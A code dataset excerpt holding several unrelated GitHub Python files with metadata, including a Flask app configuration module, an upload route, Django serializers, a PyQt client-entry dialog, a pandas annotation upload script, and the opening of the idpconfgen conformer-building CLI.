env.database_url = env.database_uri\n\n else:\n env.database_url = env.sqlalchemy_database_uri\n\n\nif 'static_folder' not in env:\n env.static_folder = environ.get('static_folder',\n env.static_path)\n if env.static_folder is None:\n env.static_folder = defaults['static_path']\n\nif 'static_path' not in env:\n env.static_path = env.static_folder\n\n\nif 'send_file_max_age_default' not in env:\n env.send_file_max_age_default = environ.get('send_file_max_age_default',\n env.static_timeout)\n if env.send_file_max_age_default is None:\n env.send_file_max_age_default = defaults['static_timeout']\n\nif 'static_timeout' not in env:\n env.static_timeout = env.send_file_max_age_default\n\n\nif 'task_serializer' not in env:\n env.task_serializer = environ.get('task_serializer',\n env.tasks_serializer)\n if env.task_serializer is None:\n env.task_serializer = defaults['tasks_serializer']\n\nif 'tasks_serializer' not in env:\n env.tasks_serializer = env.task_serializer\n\n\nif 'template_folder' not in env:\n env.template_folder = environ.get('template_folder',\n env.templates_path)\n if env.template_folder is None:\n env.template_folder = defaults['templates_path']\n\nif 'templates_path' not in env:\n env.templates_path = env.template_folder\n\n\nfor key in defaults:\n if key not in env:\n env[key] = environ.get(key.upper(), defaults[key])\n\ntry:\n env.database_revision = -1\n\n for migration in Path(env.migrations_path).glob('*_*.py'):\n\n env.database_revision = max(env.database_revision,\n int(migration.name.split('_')[0], 10))\n\nexcept (OSError, TypeError):\n pass\n\n\nif 'api' not in config:\n config.api = X()\n\nif 'version' not in config.api:\n config.api.version = 1\n\nif 'updated_at' not in config.api:\n config.api.updated_at = dt.now()\n\n\n#: Our :class:`~celery.Celery` options.\ncelery = X(\n broker_url='filesystem://',\n broker_transport_options=X(\n data_folder_in=join(env.cache_path, 'queue'),\n data_folder_out=join(env.cache_path, 'queue'),\n data_folder_processed=env.cache_path\n ),\n result_backend=f'file://{env.cache_path}'\n)\n\n\n#: Our :class:`~jinja2.Environment` options.\njinja = X(\n extensions=['hamlish_jinja.HamlishExtension'],\n variable_start_string=env.templates_expressions_open,\n variable_end_string=env.templates_expressions_close\n)\n\n\ndef start(app):\n '''\n Start our configuration service bound to ``app``.\n :meth:`start` wants to be called by :meth:`~junior.Application.start`.\n\n :param app: an :class:`~junior.Application` for us to configure.\n '''\n\n app.config = Config(app.config)\n\n if 'name' not in config:\n config.name = app.import_name\n\n if env.proxy_count:\n app.wsgi_app = ProxyFix(app.wsgi_app,\n x_for=env.proxy_count,\n x_proto=env.proxy_count)\n\n env.alembic.script_location = join(env.cache_path, 'migrations')\n\n env.postcss_extra_args = ['--config', join(app.root_path,\n env.cache_path)]\n\n env_upper = {key.upper(): env[key] for key in env}\n\n app.config.update(env)\n app.config.update(env_upper)\n app.config.update({'APP': config, 'app': config})\n\n rm_tree(env.cache_path, True)\n\n Path(env.cache_path).mkdir(exist_ok=True)\n Path(celery.broker_transport_options.data_folder_in).mkdir(exist_ok=True)\n\n Path(join(env.cache_path, 'empty')).touch()\n Path(join(env.cache_path, 'history')).touch()\n\n copy_tree(join(__root_path, 'migrations'),\n join(env.cache_path, 'migrations'))\n\n if Path(env.migrations_path).exists():\n copy_tree(env.migrations_path, join(env.cache_path, 'migrations'))\n\n with open(join(env.cache_path, 'postcss.config.js'), 'w') as file:\n\n file.write(f'module.exports = {postcss.toJSON()}')\n\n with open(join(env.cache_path, 'babel.cfg'), 'w') as file:\n\n for format in babel:\n for source in babel[format]:\n\n file.write(f'[{format}: {source.format(**env)}]\\n')\n\n for option in babel[format][source]:\n\n if isinstance(babel[format][source][option], list):\n babel[format][source][option] = (\n ', '.join(babel[format][source][option]))\n\n value = babel[format][source][option].format(**env)\n\n file.write(f'{option} = {value}\\n')\n\n file.write('\\n')\n\n return app\n", "repo_name": "chriswhalen/junior", "sub_path": "src/junior/config.py", "file_name": "config.py", "file_ext": "py", "file_size_in_byte": 8466, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "16", "api": [{"api_name": "munch.Munch", "line_number": 19, "usage_type": "name"}, {"api_name": "flask.Config", "line_number": 19, "usage_type": "name"}, {"api_name": "pprint.pformat", "line_number": 26, "usage_type": "call"}, {"api_name": "util.X", "line_number": 31, "usage_type": "call"}, {"api_name": "util.X", "line_number": 34, "usage_type": "call"}, {"api_name": "util.X", "line_number": 37, "usage_type": "call"}, {"api_name": "util.X", "line_number": 40, "usage_type": "call"}, {"api_name": "util.X", "line_number": 43, "usage_type": "call"}, {"api_name": "util.X", "line_number": 46, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 72, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 72, "usage_type": "name"}, {"api_name": "util.X", "line_number": 77, "usage_type": "call"}, {"api_name": "yaml.safe_load", "line_number": 77, "usage_type": "call"}, {"api_name": "yaml.safe_load", "line_number": 82, "usage_type": "call"}, {"api_name": "util.X", "line_number": 90, "usage_type": "call"}, {"api_name": "yaml.safe_load", "line_number": 90, "usage_type": "call"}, {"api_name": "yaml.safe_load", "line_number": 95, "usage_type": "call"}, {"api_name": "util.X", "line_number": 104, "usage_type": "call"}, {"api_name": "yaml.safe_load", "line_number": 104, "usage_type": "call"}, {"api_name": "util.flatten", "line_number": 113, "usage_type": "call"}, {"api_name": "yaml.safe_load", "line_number": 113, "usage_type": "call"}, {"api_name": "util.X", "line_number": 122, "usage_type": "call"}, {"api_name": "yaml.safe_load", "line_number": 122, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 129, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 129, "usage_type": "name"}, {"api_name": "os.environ.get", "line_number": 138, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 138, "usage_type": "name"}, {"api_name": "os.environ", "line_number": 151, "usage_type": "name"}, {"api_name": "os.environ.get", "line_number": 159, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 159, "usage_type": "name"}, {"api_name": "os.environ.get", "line_number": 163, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 163, "usage_type": "name"}, {"api_name": "os.environ.get", "line_number": 176, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 176, "usage_type": "name"}, {"api_name": "os.environ.get", "line_number": 186, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 186, "usage_type": "name"}, {"api_name": "os.environ.get", "line_number": 196, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 196, "usage_type": "name"}, {"api_name": "os.environ.get", "line_number": 206, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 206, "usage_type": "name"}, {"api_name": "os.environ.get", "line_number": 217, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 217, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 222, "usage_type": "call"}, {"api_name": "util.X", "line_number": 232, "usage_type": "call"}, {"api_name": "util.X", "line_number": 242, "usage_type": "call"}, {"api_name": "util.X", "line_number": 244, "usage_type": "call"}, {"api_name": "util.X", "line_number": 254, "usage_type": "call"}, {"api_name": "werkzeug.middleware.proxy_fix.ProxyFix", "line_number": 275, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 290, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 292, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 293, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 295, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 296, "usage_type": "call"}, {"api_name": "distutils.dir_util.copy_tree", "line_number": 298, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 301, "usage_type": "call"}, {"api_name": "distutils.dir_util.copy_tree", "line_number": 302, "usage_type": "call"}]} +{"seq_id": "16071203441", "text": "from werkzeug.utils import secure_filename\nimport boto3\nimport os\nimport logging\n\nUPLOAD_FOLDER = './test'\nALLOWED_EXTENSIONS = set(['txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif'])\n\nlogging.basicConfig(level=logging.INFO)\nlogger = logging.getLogger('HELLO WORLD')\n\n\n@app.route('/upload', methods=['POST'])\ndef fileUpload():\n target=os.path.join(UPLOAD_FOLDER,'test_docs')\n if not os.path.isdir(target):\n os.mkdir(target)\n logger.info(\"welcome to upload`\")\n file = request.files['file'] \n filename = secure_filename(file.filename)\n destination=\"/\".join([target, filename])\n file.save(destination)\n session['uploadFilePath']=destination\n response=\"Whatever you wish too return\"\n return response\n\nif __name__ == \"__main__\":\n app.secret_key = os.urandom(24)\n app.run(debug=True,host=\"0.0.0.0\",use_reloader=False)\n\n# flask_cors.CORS(app, expose_headers='Authorization')", "repo_name": "deepak-po/solar-estimator", "sub_path": "flask/routes/uploads.py", "file_name": "uploads.py", "file_ext": "py", "file_size_in_byte": 903, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "logging.basicConfig", "line_number": 9, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 9, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 17, "usage_type": "call"}, {"api_name": "werkzeug.utils.secure_filename", "line_number": 20, "usage_type": "call"}, {"api_name": "os.urandom", "line_number": 28, "usage_type": "call"}]} +{"seq_id": "72396982728", "text": "\nimport pandas as pd\nimport pandas.io.sql as psql\nimport sqlite3\n\npath = '/home/phcostello/Documents/workspace/iHubCrowdSourcing/'\n\n#Read File\nnew_annotations = pd.read_csv(path + '/CSV/randomSample_pc.csv',sep=',')\nnew_annotations.info()\n\nnew_annotations.pop('twitter.text')\n\n\n#Check is ok\nset(new_annotations.columns) == set(['match_rowid','Newsworthy']) #Check if columns match, use set as order not important\nset(new_annotations['Newsworthy'].values) == set(['t','f']) #Validate Newsworthy items\n\n#Read annotations from db\ndbpath = \"/home/phcostello/Documents/Data/iHub/S3_RawData/\"\ndbfile = \"CrowdSourcingData.sqlite\"\ncon = sqlite3.connect(dbpath + dbfile)\nsql = \"SELECT * FROM Annotations WHERE NEWSWORTHY IS NOT NULL\"\nexisting_annotations = psql.read_frame(sql, con)\nexisting_annotations.info()\n\n#compare match_rowids and row numbers for only new non-existing annotations\nnew_annotations['match_rowid']\nnew_annotation_rows = set(new_annotations['match_rowid']).difference(set(existing_annotations['match_rowid']))\nnew_annotation_rows = list(new_annotation_rows)\ntype(new_annotation_rows)\nlen(new_annotation_rows)\n\n\n#make df of only new rows, by setting index to match_rowid filtering by rows and resetting index\n#do this by setting index \nnew_annotations_filtered = new_annotations.set_index('match_rowid').loc[new_annotation_rows]\nnew_annotations_filtered = new_annotations_filtered.reset_index()\nnew_annotations_filtered.head()\nnew_annotations_filtered.info()\n\nnew_annotations_filtered.columns = ['match_rowid','Newsworthy']\n#append to Annotations\npsql.write_frame(new_annotations_filtered,'Annotations', con ,if_exists='append')\ncon.commit()\ncon.close()\n\n", "repo_name": "GBelzoni/iHub", "sub_path": "iHubCrowdSourcing/NewsworthyTraining/UploadingAnnotationsToDB.py", "file_name": "UploadingAnnotationsToDB.py", "file_ext": "py", "file_size_in_byte": 1665, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "pandas.read_csv", "line_number": 9, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 22, "usage_type": "call"}, {"api_name": "pandas.io.sql.read_frame", "line_number": 24, "usage_type": "call"}, {"api_name": "pandas.io.sql", "line_number": 24, "usage_type": "name"}, {"api_name": "pandas.io.sql.write_frame", "line_number": 44, "usage_type": "call"}, {"api_name": "pandas.io.sql", "line_number": 44, "usage_type": "name"}]} +{"seq_id": "7995605551", "text": "\"\"\" Serializers for the start app \"\"\"\nfrom forumserver import settings\nfrom django.contrib.auth.models import User\n# from drf_extra_fields.fields import Base64ImageField\nfrom rest_framework.fields import SerializerMethodField\nfrom rest_framework.serializers import ModelSerializer, DateTimeField\nfrom start.models import Person, PersonImage\nfrom question.models import Question\n\n\nclass UserSerializer(ModelSerializer):\n \"\"\" Serializer for User model \"\"\"\n\n class Meta:\n \"\"\" Meta class for User serializer \"\"\"\n model = User\n fields = ['id', 'username', 'first_name', 'last_name', 'email']\n extra_kwargs = {'id': {'read_only': True, 'required': False},\n 'username': {'read_only': True, 'required': False}}\n\n\nclass PersonSerializer(ModelSerializer):\n \"\"\" Serializer for Person model \"\"\"\n person_image = SerializerMethodField()\n num_questions = SerializerMethodField()\n\n class Meta:\n \"\"\" Meta class for Person serializer \"\"\"\n model = Person\n fields = ['id', 'user', 'role', 'person_image', 'num_questions']\n extra_kwargs = {'id': {'read_only': True, 'required': False}}\n\n def __init__(self, *args, **kwargs):\n super(PersonSerializer, self).__init__(*args, **kwargs)\n if self.context['request'].method == 'GET':\n self.fields['user'] = UserSerializer(read_only=True,\n context=kwargs['context'])\n if self.context['request'].method == 'PATCH':\n self.fields['user'] = UserSerializer(context=kwargs['context'])\n\n def update(self, instance, validated_data):\n \"\"\" Function to update user information \"\"\"\n if 'user' in validated_data:\n user_data = validated_data.pop('user')\n user = instance.user\n if 'email' in user_data:\n if user_data['email'] != '':\n user.email = user_data['email']\n if 'first_name' in user_data:\n if user_data['first_name'] != '':\n user.first_name = user_data['first_name']\n if 'last_name' in user_data:\n if user_data['last_name'] != '':\n user.last_name = user_data['last_name']\n user.save()\n if 'role' in validated_data:\n instance.type = validated_data.pop('role')\n instance.save()\n return instance\n\n def get_person_image(self, obj):\n \"\"\" This method obtain the profile image of a person \"\"\"\n person_image = 'Sin imagen'\n if PersonImage.objects.filter(person=obj).exists():\n person_image = (PersonImage.objects.filter(person=obj)\n .order_by('-upload_date').first())\n person_image = (settings.IMAGE_HOST + person_image.image.url)\n return person_image\n\n def get_num_questions(self, obj):\n \"\"\" This method obtains the number of questions made for a person \"\"\"\n num_questions = 0\n if Question.objects.filter(creator=obj).exists():\n num_questions = Question.objects.filter(creator=obj).count()\n return num_questions\n\n\nclass PersonImageSerializer(ModelSerializer):\n \"\"\" Serializer for Image of user profiles \"\"\"\n # image = Base64ImageField()\n url_image = SerializerMethodField()\n upload_date = DateTimeField(read_only=True, format=\"%Y-%m-%d %H:%M:%S\")\n extra_kwargs = {'id': {'read_only': True, 'required': False}}\n\n def to_representation(self, obj):\n ret = super(PersonImageSerializer, self).to_representation(obj)\n if self.context['request'].method == 'POST':\n ret.pop('id')\n ret.pop('person')\n ret.pop('image')\n ret.pop('upload_date')\n return ret\n\n class Meta:\n \"\"\" Meta class for ImageDetail serializer \"\"\"\n model = PersonImage\n fields = '__all__'\n\n def update(self, instance, validated_data):\n \"\"\" Function to update user information \"\"\"\n instance.image.delete(save=False)\n instance.image = validated_data.get('image', instance.image)\n instance.save()\n return instance\n\n def get_url_image(self, obj):\n \"\"\" Function to obtain the url for an image \"\"\"\n return settings.SERVER_HOST + obj.image.url\n", "repo_name": "grupo01-softtechconsulting/proyectodaw1", "sub_path": "ForumProject/Desarrollo/Servidor/forumserver/start/serializers.py", "file_name": "serializers.py", "file_ext": "py", "file_size_in_byte": 4294, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 11, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User", "line_number": 16, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 22, "usage_type": "name"}, {"api_name": "rest_framework.fields.SerializerMethodField", "line_number": 24, "usage_type": "call"}, {"api_name": "rest_framework.fields.SerializerMethodField", "line_number": 25, "usage_type": "call"}, {"api_name": "start.models.Person", "line_number": 29, "usage_type": "name"}, {"api_name": "start.models.PersonImage.objects.filter", "line_number": 64, "usage_type": "call"}, {"api_name": "start.models.PersonImage.objects", "line_number": 64, "usage_type": "attribute"}, {"api_name": "start.models.PersonImage", "line_number": 64, "usage_type": "name"}, {"api_name": "start.models.PersonImage.objects.filter", "line_number": 65, "usage_type": "call"}, {"api_name": "start.models.PersonImage.objects", "line_number": 65, "usage_type": "attribute"}, {"api_name": "start.models.PersonImage", "line_number": 65, "usage_type": "name"}, {"api_name": "forumserver.settings.IMAGE_HOST", "line_number": 67, "usage_type": "attribute"}, {"api_name": "forumserver.settings", "line_number": 67, "usage_type": "name"}, {"api_name": "question.models.Question.objects.filter", "line_number": 73, "usage_type": "call"}, {"api_name": "question.models.Question.objects", "line_number": 73, "usage_type": "attribute"}, {"api_name": "question.models.Question", "line_number": 73, "usage_type": "name"}, {"api_name": "question.models.Question.objects.filter", "line_number": 74, "usage_type": "call"}, {"api_name": "question.models.Question.objects", "line_number": 74, "usage_type": "attribute"}, {"api_name": "question.models.Question", "line_number": 74, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 78, "usage_type": "name"}, {"api_name": "rest_framework.fields.SerializerMethodField", "line_number": 81, "usage_type": "call"}, {"api_name": "rest_framework.serializers.DateTimeField", "line_number": 82, "usage_type": "call"}, {"api_name": "start.models.PersonImage", "line_number": 96, "usage_type": "name"}, {"api_name": "forumserver.settings.SERVER_HOST", "line_number": 108, "usage_type": "attribute"}, {"api_name": "forumserver.settings", "line_number": 108, "usage_type": "name"}]} +{"seq_id": "22777976005", "text": "from PyQt6 import QtWidgets\nfrom PyQt6.QtWidgets import QLabel, QPushButton\n\nfrom sql import db, cursor\n\n\nclass NewClientWindow(QtWidgets.QDialog):\n def __init__(self, parent):\n super().__init__(parent)\n self.parent = parent\n self.setModal(True)\n\n self.init_ui()\n\n def init_ui(self):\n layout = QtWidgets.QVBoxLayout()\n\n layout.addWidget(QLabel(\"ФИО клиента:\"))\n self.new_client_name = QtWidgets.QLineEdit(self.parent.client_name_input.text())\n layout.addWidget(self.new_client_name)\n\n layout.addWidget(QLabel(\"Номер телефона клиента:\"))\n self.client_phone_number_input = QtWidgets.QLineEdit()\n layout.addWidget(self.client_phone_number_input)\n\n layout.addWidget(QLabel(\"Электронная почта клиента:\"))\n self.client_email_input = QtWidgets.QLineEdit()\n layout.addWidget(self.client_email_input)\n\n self.create_client_button = QPushButton(\"Добавить клиента\")\n layout.addWidget(self.create_client_button)\n self.create_client_button.clicked.connect(self.create_client)\n\n self.setLayout(layout)\n\n def create_client(self):\n client_name = self.new_client_name.text()\n if not client_name:\n QtWidgets.QMessageBox.warning(self, \"Ошибка\", \"Введите имя клиента\")\n return\n\n phone_number = self.client_phone_number_input.text().lstrip(\"+\")\n if len(phone_number) != 11 or not (\n phone_number.startswith(\"7\") or phone_number.startswith(\"8\")\n ):\n QtWidgets.QMessageBox.warning(self, \"Ошибка\", \"Неверный номер телефона\")\n return\n\n email = self.client_email_input.text()\n if \"@\" not in email:\n QtWidgets.QMessageBox.warning(self, \"Ошибка\", \"Неверный почтовый адрес\")\n return\n\n cursor.execute(\n \"INSERT INTO clients (full_name, phone, email) VALUES (%s, %s, %s)\",\n (client_name, phone_number, email),\n )\n\n db.commit()\n\n QtWidgets.QMessageBox.information(self, \"Успех\", \"Клиент создан\")\n self.close()\n", "repo_name": "Relanit/Privet", "sub_path": "personal_window/admin_window/new_order_window/new_client_window.py", "file_name": "new_client_window.py", "file_ext": "py", "file_size_in_byte": 2257, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "PyQt6.QtWidgets.QDialog", "line_number": 7, "usage_type": "attribute"}, {"api_name": "PyQt6.QtWidgets", "line_number": 7, "usage_type": "name"}, {"api_name": "PyQt6.QtWidgets.QVBoxLayout", "line_number": 16, "usage_type": "call"}, {"api_name": "PyQt6.QtWidgets", "line_number": 16, "usage_type": "name"}, {"api_name": "PyQt6.QtWidgets.QLabel", "line_number": 18, "usage_type": "call"}, {"api_name": "PyQt6.QtWidgets.QLineEdit", "line_number": 19, "usage_type": "call"}, {"api_name": "PyQt6.QtWidgets", "line_number": 19, "usage_type": "name"}, {"api_name": "PyQt6.QtWidgets.QLabel", "line_number": 22, "usage_type": "call"}, {"api_name": "PyQt6.QtWidgets.QLineEdit", "line_number": 23, "usage_type": "call"}, {"api_name": "PyQt6.QtWidgets", "line_number": 23, "usage_type": "name"}, {"api_name": "PyQt6.QtWidgets.QLabel", "line_number": 26, "usage_type": "call"}, {"api_name": "PyQt6.QtWidgets.QLineEdit", "line_number": 27, "usage_type": "call"}, {"api_name": "PyQt6.QtWidgets", "line_number": 27, "usage_type": "name"}, {"api_name": "PyQt6.QtWidgets.QPushButton", "line_number": 30, "usage_type": "call"}, {"api_name": "PyQt6.QtWidgets.QMessageBox.warning", "line_number": 39, "usage_type": "call"}, {"api_name": "PyQt6.QtWidgets.QMessageBox", "line_number": 39, "usage_type": "attribute"}, {"api_name": "PyQt6.QtWidgets", "line_number": 39, "usage_type": "name"}, {"api_name": "PyQt6.QtWidgets.QMessageBox.warning", "line_number": 46, "usage_type": "call"}, {"api_name": "PyQt6.QtWidgets.QMessageBox", "line_number": 46, "usage_type": "attribute"}, {"api_name": "PyQt6.QtWidgets", "line_number": 46, "usage_type": "name"}, {"api_name": "PyQt6.QtWidgets.QMessageBox.warning", "line_number": 51, "usage_type": "call"}, {"api_name": "PyQt6.QtWidgets.QMessageBox", "line_number": 51, "usage_type": "attribute"}, {"api_name": "PyQt6.QtWidgets", "line_number": 51, "usage_type": "name"}, {"api_name": "sql.cursor.execute", "line_number": 54, "usage_type": "call"}, {"api_name": "sql.cursor", "line_number": 54, "usage_type": "name"}, {"api_name": "sql.db.commit", "line_number": 59, "usage_type": "call"}, {"api_name": "sql.db", "line_number": 59, "usage_type": "name"}, {"api_name": "PyQt6.QtWidgets.QMessageBox.information", "line_number": 61, "usage_type": "call"}, {"api_name": "PyQt6.QtWidgets.QMessageBox", "line_number": 61, "usage_type": "attribute"}, {"api_name": "PyQt6.QtWidgets", "line_number": 61, "usage_type": "name"}]} +{"seq_id": "30239347265", "text": "from collections import deque\n\ndef solution(priorities, location):\n queue = deque([f\"{i}:{prio}\" for i, prio in enumerate(priorities)])\n printed = deque()\n \n while queue:\n front = queue.popleft()\n if queue and front[-1] < max(i[-1] for i in queue):\n queue.append(front)\n else:\n printed.append(front)\n \n return [printed.index(x)+1 for x in printed if int(x[:-2]) == location][0]", "repo_name": "2sjin/Algorithm", "sub_path": "프로그래머스/lv2/42587. 프린터/프린터.py", "file_name": "프린터.py", "file_ext": "py", "file_size_in_byte": 438, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "collections.deque", "line_number": 4, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 5, "usage_type": "call"}]} +{"seq_id": "19789065891", "text": "\"\"\"\nBuilds IDP conformers.\n\nBuild from a database of torsion angles and secondary structure\ninformation. Database is as created by `idpconfgen torsions` CLI.\n\nUSAGE:\n $ idpconfgen build -db torsions.json -seq MMMMMMM...\n\n\"\"\"\nimport argparse\nimport os\nimport re\nfrom functools import partial\nfrom itertools import cycle\nfrom multiprocessing import Pool, Queue\nfrom random import randint\nfrom time import time\n\nimport numpy as np\n\nfrom idpconfgen import Path, log\nfrom idpconfgen.components.bgeo_strategies import (\n add_bgeo_strategy_arg,\n bgeo_error_msg,\n bgeo_exact_name,\n bgeo_fixed_name,\n bgeo_int2cart_name,\n bgeo_sampling_name,\n bgeo_strategies,\n bgeo_strategies_default,\n )\nfrom idpconfgen.components.bgeo_strategies.fixed import get_cycle_bend_angles\nfrom idpconfgen.components.energy_threshold_type import add_et_type_arg\nfrom idpconfgen.components.residue_tolerance import add_res_tolerance_groups\nfrom idpconfgen.components.sidechain_packing import (\n DEFAULT_SDM,\n add_mcsce_subparser,\n add_sidechain_method,\n get_sidechain_packing_parameters,\n sidechain_packing_methods,\n )\nfrom idpconfgen.components.xmer_probs import (\n add_xmer_arg,\n compress_xmer_to_key,\n prepare_xmer_probs,\n )\nfrom idpconfgen.core.build_definitions import (\n backbone_atoms,\n build_bend_CA_C_O,\n build_bend_H_N_C,\n distance_C_O,\n distance_H_N,\n forcefields,\n n_proline_h_coord_at_origin,\n n_terminal_h_coords_at_origin,\n sidechain_templates,\n )\nfrom idpconfgen.core.definitions import dssp_ss_keys\nfrom idpconfgen.core.exceptions import IDPConfGenException\nfrom idpconfgen.ldrs_helper import (\n align_coords,\n count_clashes,\n disorder_cases,\n psurgeon,\n )\nfrom idpconfgen.libs import libcli\nfrom idpconfgen.libs.libbuild import (\n build_regex_substitutions,\n create_sidechains_masks_per_residue,\n get_cycle_bond_type,\n get_cycle_distances_backbone,\n init_conflabels,\n init_confmasks,\n prepare_energy_function,\n prepare_slice_dict,\n )\nfrom idpconfgen.libs.libcalc import (\n calc_residue_num_from_index,\n calc_torsion_angles,\n make_coord_Q,\n make_coord_Q_COO,\n make_coord_Q_planar,\n make_seq_probabilities,\n place_sidechain_template,\n rotate_coordinates_Q_njit,\n rrd10_njit,\n )\nfrom idpconfgen.libs.libfilter import aligndb\nfrom idpconfgen.libs.libhigherlevel import bgeo_reduce\nfrom idpconfgen.libs.libio import (\n make_folder_or_cwd,\n read_dict_from_json,\n read_dictionary_from_disk,\n )\nfrom idpconfgen.libs.libparse import (\n fill_list,\n get_seq_chunk_njit,\n get_trimer_seq_njit,\n remap_sequence,\n remove_empty_keys,\n split_by_ranges,\n split_into_chunks,\n translate_seq_to_3l,\n )\nfrom idpconfgen.libs.libpdb import atom_line_formatter\nfrom idpconfgen.libs.libstructure import (\n Structure,\n col_name,\n col_resSeq,\n cols_coords,\n parse_pdb_to_array,\n structure_to_pdb,\n )\nfrom idpconfgen.logger import S, T, init_files, pre_msg, report_on_crash\n\n\n_file = Path(__file__).myparents()\nLOGFILESNAME = '.idpconfgen_build'\n\n# Global variables needed to build conformers.\n# Why are global variables needed?\n# I use global variables to facilitate distributing conformer creation\n# processes across multiple cores. In this way cores can read global variables\n# fast and with non-significant overhead.\n\n# Bond Geometry library variables\n# if __name__ == '__main__', these will be populated in main()\n# else will be populated in conformer_generator\n# populate_globals() populates these variables once called.\n# sampling globals\nBGEO_full = {}\nBGEO_trimer = {}\nBGEO_res = {}\n# int2cart globals\nINT2CART = None\n\n# ANGLES will be populated in main() with the torsion angles.\n# it is not expected SLICES or ANGLES to be populated anywhere else.\n# The slice objects from where the builder will feed to extract torsion\n# fragments from ANGLES.\nANGLES = None\nBEND_ANGS = None\nBOND_LENS = None\nSLICEDICT_XMERS = None\nXMERPROBS = None\nGET_ADJ = None\n\n# keeps a record of the conformer numbers written to disk across the different\n# cores\nCONF_NUMBER = Queue()\nRANDOMSEEDS = Queue()\n\n# The conformer building process needs data structures for two different\n# identities: the all-atom representation of the input sequence, and the\n# corresponding Ala/Gly/Pro template uppon which the coordinates will be built.\n# These variables are defined at the module level so they serve as global\n# variables to be read by the different process during multiprocessing. Reading\n# from global variables is performant in Python multiprocessing. This is the\n# same strategy as applied for SLICES and ANGLES.\nALL_ATOM_LABELS = None\nALL_ATOM_MASKS = None\nALL_ATOM_EFUNC = None\nTEMPLATE_LABELS = None\nTEMPLATE_MASKS = None\nTEMPLATE_EFUNC = None\n\n# Global variables for enabling the \"long\" feature for building\n# extended IDPs (e.g. > 300 AA)\nGET_ADJ_LONG = None\nLONG_FRAGMENTS = None\n\n\nclass _BuildPreparation:\n pass\n\n\ndef are_globals(bgeo_strategy):\n \"\"\"Assess if global variables needed for building are populated.\"\"\"\n if bgeo_strategy == bgeo_sampling_name:\n return all((\n ALL_ATOM_LABELS,\n ALL_ATOM_MASKS,\n ALL_ATOM_EFUNC,\n TEMPLATE_LABELS,\n TEMPLATE_MASKS,\n TEMPLATE_EFUNC,\n BGEO_full,\n BGEO_trimer,\n BGEO_res,\n ))\n\n elif bgeo_strategy in (bgeo_exact_name, bgeo_fixed_name):\n return all((\n ALL_ATOM_LABELS,\n ALL_ATOM_MASKS,\n ALL_ATOM_EFUNC,\n TEMPLATE_LABELS,\n TEMPLATE_MASKS,\n TEMPLATE_EFUNC,\n ))\n\n elif bgeo_strategy == bgeo_int2cart_name:\n return all((\n ALL_ATOM_LABELS,\n ALL_ATOM_MASKS,\n ALL_ATOM_EFUNC,\n TEMPLATE_LABELS,\n TEMPLATE_MASKS,\n TEMPLATE_EFUNC,\n BGEO_full,\n BGEO_trimer,\n BGEO_res,\n INT2CART,\n ))\n\n else:\n raise AssertionError(bgeo_error_msg.format(bgeo_strategy))\n\n\n# CLI argument parser parameters\n_name = 'build'\n_help = 'Builds conformers from database.'\n\n_prog, _des, _usage = libcli.parse_doc_params(__doc__)\n\n\nap = libcli.CustomParser(\n prog=_prog,\n description=libcli.detailed.format(_des),\n usage=_usage,\n formatter_class=argparse.RawDescriptionHelpFormatter,\n )\n# https://stackoverflow.com/questions/24180527\n\nlibcli.add_argument_idb(ap)\nlibcli.add_argument_seq(ap)\n\nap.add_argument(\n '-nc',\n '--nconfs',\n help='Number of conformers to build.',\n default=1,\n type=int,\n )\n\nap.add_argument(\n '--long',\n help=(\n 'Switch to enable building long IDPs. '\n 'Note this will NOT automatically enable if you have IDPs '\n 'longer than 300 AA but it is recommended to turn this on. '\n 'Defaults to True.'\n ),\n action=\"store_true\",\n )\n\nap.add_argument(\n '--long-ranges',\n help=(\n \"Custom ranges of residues to build fragmentally for a long IDP \"\n \"is denoted by dashes for residue numbers and commas for different \"\n \"ranges. Note that ALL patterns MUST end \"\n \"at the last residue with a comma. \"\n \"For ex. a 301 AA long IDP: --long-ranges 1-113,114-210,211-301,\"\n \"Optional flag. If left empty, generate IDP with fragments of length \"\n \"150 AA at a time. E.g. the same as --long-ranges 1-150,151-300,\"\n ),\n nargs='?',\n 